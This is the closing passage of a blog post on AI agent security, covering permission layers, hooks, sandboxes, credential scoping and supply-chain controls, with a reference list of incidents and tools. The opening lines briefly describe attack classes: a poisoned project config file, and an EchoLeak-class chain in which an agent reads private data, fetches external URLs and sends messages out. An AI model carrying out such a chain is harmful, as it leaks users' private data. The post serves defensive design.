.mcp.jsonin a cloned repo (CVE-2025-59536-class). The host MCP client’s permission model is where that gets caught, not the agent’s code. - A data-theft chain built out of legitimate tools (EchoLeak-class) — the agent reading private data, the agent fetching external URLs, and the agent sending messages out. You need the trifecta framing: don’t combine those three capabilities at all.
These hooks are the local policy layer. Part 5 shows where the sandbox, secret broker, checkpoint, and audit trace live during a long run. Part 6 will move inside the harness and ask how acceptance checks, retries, and trace-driven evaluation keep the loop from declaring success too early.
Key takeaways
- Content filters and execution policy protect different boundaries. Filters inspect model input and output. Tool authorization, credential scope, sandboxes, and supply-chain controls act on the paths used in the six incidents.
- Most OWASP ASI categories require controls outside model output. Use the list to map each threat to the component that can actually block or record it.
- Permission is infrastructure, not prompt. Claude Code evaluates deny rules, ask rules, PreToolUse hooks, allow rules, mode, and callbacks in a published order. Other runtimes need an equally testable precedence model.
- Treat a PreToolUse hook’s structured deny as just another tool observation. The reasoning loop already handles it. You don’t need a separate security workflow.
- A 93% approval rate is a signal to inspect prompt quality and escalation frequency. Track edits, denials, and incidents after approval rather than copying a universal target.
- Audience-bound tokens and per-session vaults limit credential replay and exposure. They do not replace project trust, hook policy, or sandboxing.
- Supply-chain checks must run at automation speed. Pin versions and Actions SHAs, scan in CI, and review dependency changes in agent-authored pull requests.
- Build the policy layer so a new product launch doesn’t invalidate it. OpenAI Agents SDK, Codex CLI, and Claude Code express the same primitives differently. The primitives (permission ladders, hooks, sandboxes, interrupts, audience-bound tokens) are what you’re betting on.
References
The framings
- Bharani Subramaniam and Martin Fowler, Emerging Patterns in Building GenAI Products.
- Simon Willison, The lethal trifecta for AI agents, June 16, 2025.
- Joel Fokou, Parallax: A Principled Architecture for Safe Agentic AI, arXiv 2604.12986, April 14, 2026 (not peer-reviewed).
- Alessandro Pignati, Your AI Agent Has Too Much Power: Understanding and Taming Excessive Agency, January 2026.
LLM guardrail products
- NVIDIA NeMo Guardrails
- Meta Llama Guard 4
- Guardrails AI
- Lakera Guard
- AWS Bedrock Guardrails
- Azure Content Safety: Prompt Shields
- openai-guardrails-python
Incidents
- Itay Ravia (formerly Aim Labs, now Cato Networks), Breaking down EchoLeak (CVE-2025-32711).
- AWS, Amazon Q Developer VS Code v1.84.0 advisory (CVE-2025-8217).
- Microsoft, Azure MCP Server (CVE-2026-32211).
- Check Point Research, RCE and API token exfiltration through Claude Code project files (CVE-2025-59536).
- axios, v1.14.1 / v0.30.4 compromise post-mortem.
- Aqua Security, Trivy Actions tag hijack (GHSA-69fq-xp46-6x23).
Policy surfaces
- OpenAI Agents SDK — MCP tools docs
- Codex CLI managed configuration
- Claude Code permission modes
- Claude Code sandboxing
- Claude Managed Agents
HITL
- LangGraph interrupts docs
- HumanLayer Python quickstart
- Anthropic, Measuring AI agent autonomy in practice, February 18, 2026.
- Anthropic, Claude Code auto mode, March 25, 2026.
- Jackson Wells (Galileo), How to Build Human-in-the-Loop Oversight for Production AI Agents, December 21, 2025.
OWASP
- OWASP Agentic Security Initiative, Top 10 for Agentic Applications, 2026, December 9, 2025.
Series
- Part 1: AI Agent Reasoning Loops in 2026 — ReAct, ReWOO, and Plan-and-Execute.
- Part 2: AI Agent Memory Architecture in 2026 — checkpoints, vector stores, and document memory.
- Part 3: AI Agent Tool Use in 2026 — MCP, CLI, Skills, code execution, and ACI.
- Part 4: AI Agent Security in 2026 (this post)
- Part 5: Long-Running AI Agent Runtime in 2026 — sessions, sandboxes, checkpoints, harnesses, and deployment shapes.
- Part 6: Harness Engineering for AI Agents — acceptance checks, traces, retries, handoffs, and the loop around the model.
The Market Analyst Agent code (the PreToolUse deny hook, input canary, Stop-hook validator, and interrupt gate described above) is on GitHub.